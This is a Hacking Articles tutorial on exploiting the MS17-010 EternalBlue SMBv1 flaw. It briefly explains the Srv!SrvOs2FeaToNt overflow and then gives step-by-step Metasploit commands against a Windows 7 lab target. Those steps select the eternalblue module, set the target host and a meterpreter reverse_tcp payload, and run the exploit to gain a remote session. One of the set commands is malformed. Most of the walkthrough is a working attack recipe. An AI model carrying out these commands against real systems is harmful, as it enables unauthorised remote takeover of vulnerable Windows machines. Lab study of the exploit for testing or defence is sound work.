This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again.

Let’s start!!!

Attacker: Kali Linux

Target: window 7

 Open the terminal in your Kali Linux type msfconsole to load metasploit framework.

msfconsole

Use exploit/windows/smb/ms17_010_eternalblue

msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.8

msf exploit(ms17_010_eternalblue) >set 192.168.1.21

msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp

msf exploit(ms17_010_eternalblue) >exploit

From screenshot you can see we have got meterpreter session after buffer overflow exploited by overwriting SMBV1 buffer.

Meterpreter> sysinfo

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here